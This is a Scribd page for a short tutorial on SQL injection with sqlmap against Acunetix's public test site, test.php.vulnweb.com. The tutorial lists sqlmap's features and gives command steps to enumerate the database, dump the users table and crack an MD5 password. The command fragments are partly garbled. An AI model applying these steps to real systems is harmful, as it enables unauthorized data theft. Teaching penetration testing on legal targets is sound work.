0% found this document useful (0 votes)
41 views10 pages

SQL Injection Via SQLMap

Palvinder Singh conducted a web application penetration test using SQLMap on http://test.php.vulnweb.com/search.php?test=query. He used SQLMap to find the database name "Acuart", enumerate the tables, collect information from the users table, and crack the MD5 hashed password to discover the username and password were both "test".

Uploaded by

lebahkayu.id
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
Download as pdf or txt
0% found this document useful (0 votes)
41 views10 pages

SQL Injection Via SQLMap

Palvinder Singh conducted a web application penetration test using SQLMap on http://test.php.vulnweb.com/search.php?test=query. He used SQLMap to find the database name "Acuart", enumerate the tables, collect information from the users table, and crack the MD5 hashed password to discover the username and password were both "test".

Uploaded by

lebahkayu.id
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
Download as pdf or txt
Download as pdf or txt
You are on page 1/ 10

Palvinder Singh | Cyber Security Expert Web Application Penetration

Testing

Web Application Penetration Testing

SQL Injection via SQLMap (Kali Linux)


Over a Legal Testing Website
http://test.php.vulnweb.com/

Mr. Palvinder Singh


Cyber Security Expert

1
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

Introduction:
sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over
of database servers. It comes with a powerful detection engine, many
niche features for the ultimate penetration tester and a broad range of
switches lasting from database fingerprinting, over data fetching from
the database, to accessing the underlying file system and executing
commands on the operating system via out-of-band connections.

2
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

Features:
● Full support for ​MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix
database management systems.
● Full support for six SQL injection techniques: ​boolean-based blind, time-based blind,
error-based, UNION query-based, stacked queries and out-of-band​.
● Support to ​directly connect to the database​ without passing via a SQL injection, by
providing DBMS credentials, IP address, port and database name.
● Support to enumerate ​users, password hashes, privileges, roles, databases,
tables and columns​.
● Automatic recognition of password hash formats and support for c​ racking them using a
dictionary-based attack​.
● Support to ​dump database tables​ entirely, a range of entries or specific columns as per user's
choice. The user can also choose to dump only a range of characters from each column's entry.
● Support to ​search for specific database names, specific tables across all
databases or specific columns across all databases' tables​. This is useful, for
instance, to identify tables containing custom application credentials where relevant columns' names
contain string like name and pass.
● Support to ​download and upload any file​ from the database server underlying file system
when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
● Support to ​execute arbitrary commands and retrieve their standard output​ on
the database server underlying operating system when the database software is MySQL, PostgreSQL
or Microsoft SQL Server.
● Support to ​establish an out-of-band stateful TCP connection between the
attacker machine and the database server​ underlying operating system. This channel
can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC)
session as per user's choice.
● Support for d​ atabase process' user privilege escalation​ via Metasploit's Meterpreter
getsystem command.

3
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

Execution Over Kali Linux:


Step 1:
Find the Get Method of the website by checking all the link and submitting the
input.

i.e. ?something=something

http://test.php.vulnweb.com/search.php?test=query

4
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

Step 2:
http://test.php.vulnweb.com/search.php?test=query​ - - dbs

Find The Name Of Database Of The Website

The name of the Database is ​Acuart.

5
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

Step 3:
Finding all tables in the database

http://test.php.vulnweb.com/search.php?test=query​ –D acurat - -tables

6
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

Step 4:
Collecting Information about users table.

http://test.php.vulnweb.com/search.php?test=query​ –D acurat –T users


–dump

7
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

System is asking For the dictionary because the password is in the md5
form.

8
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

After Searching the password in the Default wordlist we find the user
name is test and password is also test

9
Palvinder Singh | Cyber Security Expert Web Application Penetration
Testing

10

You might also like